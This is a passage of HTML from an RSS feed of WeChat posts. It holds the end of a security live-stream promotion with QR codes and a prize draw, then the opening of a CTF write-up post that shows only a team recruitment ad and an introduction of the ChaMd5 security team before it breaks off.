</span></span></strong></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(0, 66, 230);"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">14:00-16:45</span></span></strong></span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">扫码预约直播：</span></strong></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 189.547px;height: auto;"><img alt="图片" class="rich_pages wxw-img" data-ratio="1.0167130919220055" data-s="300,640" data-w="359" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 189.547px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d4c7e5be&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2F4tc6mDlGcQSgKxPTiaNF667VKhtiadyggQqToTyFSHmWSlJPxkxOuEQbGCxb9z1hgObUDnBW6Q8YrthcKvWJhib6fQR2iacgRaIHAAgshjvdn6E%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D14"/></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;font-size: 12px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">扫描上方二维码预约，</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">或搜索视频号</span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-decoration: underline 2px dashed rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">【顺丰安全应急响应中心】</span></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">预约直播</span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px -60px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;transform: translate3d(80px, 0px, 0px);pointer-events: none;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 60px;height: auto;pointer-events: none;"><img alt="图片" class="rich_pages wxw-img __bg_gif" data-ratio="0.9006211180124224" data-s="300,640" data-w="483" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 60px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=0c657861&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_gif%2F4tc6mDlGcQSBpeVPiaGAsAib3CFPyD8rQGxxHLuVAaeicrKSIKENJyicdLKURg8gvnsKeWba54Xt3jjBNAXv5icjpQLSxqr20At0vWicRlONm5gib4%2F640%3Fwx_fmt%3Dgif%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D15"/></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> 多轮抽奖好礼等你来！</span></strong></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;color: rgb(238, 68, 68);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">80+份</span></span></span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">抽奖好礼已就位，超多惊喜等你来抽，</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">手速和运气都不能少～</span></span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 467.125px;height: auto;"><img alt="图片" class="rich_pages wxw-img" data-ratio="1.5695159629248199" data-s="300,640" data-w="971" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 467.125px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bd7c32af&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2F4tc6mDlGcQQibkTUoZBRAr2O5Snfqlbag0ibqd4M2dWtMIawOAic6xuxWqAOfAOUpws4rOcWiaVB8byiapqql3ciboWzS3vRjmVf1D3zwD10NOExw%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D16"/></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;font-size: 17px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(255, 255, 255);background-color: rgb(0, 66, 230);"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">活动主办方</span></strong></span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 385.875px;height: auto;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.16435185185185186" data-s="300,640" data-w="432" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 385.875px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9efabd29&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2F4tc6mDlGcQTibicibGWo8gMKzRKJpoTJnqJWgyB8KdXqP8cIyNJoISdqrCNImBegkQyl11cqNiaZZN3vGS4BIWXnkLWeArV7qmBCOAVUwDjLfl0%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D17"/></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;font-size: 17px;color: rgb(255, 255, 255);"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">合作伙伴</span></span></strong></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 643.141px;height: auto;"><img alt="图片" class="rich_pages wxw-img" data-aistatus="1" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/8tSCcibeOEze55ncYnrInpdIJINLSsgRjMrbXHE7AjaH9HstuHTicUUj8tIcaiajsWt6q6HK7zR4QibzoV9RbK2O9D0dtoeDPnIxCOibHMFbFlIM/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="549" data-cropsely2="384" data-imgfileid="100007896" data-ratio="0.6858757062146893" data-s="300,640" data-type="png" data-w="885" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 643.141px !important;visibility: visible !important;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8246b75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8tSCcibeOEze55ncYnrInpdIJINLSsgRjMrbXHE7AjaH9HstuHTicUUj8tIcaiajsWt6q6HK7zR4QibzoV9RbK2O9D0dtoeDPnIxCOibHMFbFlIM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D18"/></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;transform: perspective(0px);transform-style: flat;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px -3px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;transform: rotateX(180deg);"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.288" data-s="300,640" data-w="1000" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2ab6f65e&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQTHqunLaeW1Epnz2R9VVLLVAvJuhcG8pW1ibJ7vD6ZyzEfLFsL40EbTRF3ib6iafIKich1YebKJibhx70GrW5NaG5MX9TZHmMtp95WU%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D19"/></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ca5d12b6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514226%26idx%3D1%26sn%3Df5622bcec7e137580b4b1f63c6187dc3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 19 Mar 2026 17:06:00 +0800</pubDate>
    </item>
    <item>
      <title>2026SUCTF Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514199&amp;idx=1&amp;sn=23642f4e23ebda5d4e4288e85df33aa3</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2026-03-18 08:03</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9ae0eb0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2OGXC2kZmtggHUVXNEnjE54bpLaIKvZDDMdmdAB5mEX2hPUHKr0jgQCwc9GtnNRF6R8mAXXom3DO0BqibuYu3ENf9P9rx1Gk8Gg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-size: medium;letter-spacing: normal;text-align: left;visibility: visible;"><span leaf=""><img data-aistatus="1" alt="Banner" class="rich_pages wxw-img" data-ratio="0.23425925925925925" data-type="png" data-w="1080" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;" data-imgfileid="100030548" src="https://wechat2rss.xlab.app/img-proxy/?k=8fa60aac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2OJha8lvqfhQ8b8ykT7SkVzOtyvebtyroqBsBWxBb56kz6TLEbTC5tEnUlpf1xicdiamdsHGxr8LIgjibQL1kfZiaq3GPR9fCNI1cE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-mid="" mpa-is-content="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;text-align: start;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(0, 128, 255);visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5安全团队</span></span></strong></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">成立于2016年，专注于算法加解密、安全漏洞挖掘、CTF竞赛及安全人才培养。至今团队成员有200+人，分别来自阿里、滴滴、启明星辰、绿盟、知道创宇、奇安信、永信至诚、360、陌陌、牛盾、无声信息等安全公司，且也有部分在校学生与自由职业者。</span></span></p><p style="margin: 8px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: left;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">自团队成立以来，曾荣获来自华为、微软、蚂蚁金服、百度、京东和滴滴等多家企业的致谢，向企业报告的漏洞合计</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;color: rgb(0, 128, 255);visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">超</span></strong></span><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;letter-spacing: 2px;color: rgb(0, 128, 255);visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">10w+</span></span></strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">。团队成员也曾多次在企业 CTF 赛事中获奖。</span></span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5 安全团队</span></span></span><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);letter-spacing: 2px;color: rgb(0, 128, 255);visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">为维护企业安全建设而成立</span></span></strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">，竭尽全力培养安全人才，服务于各大企业。</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;text-align: start;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 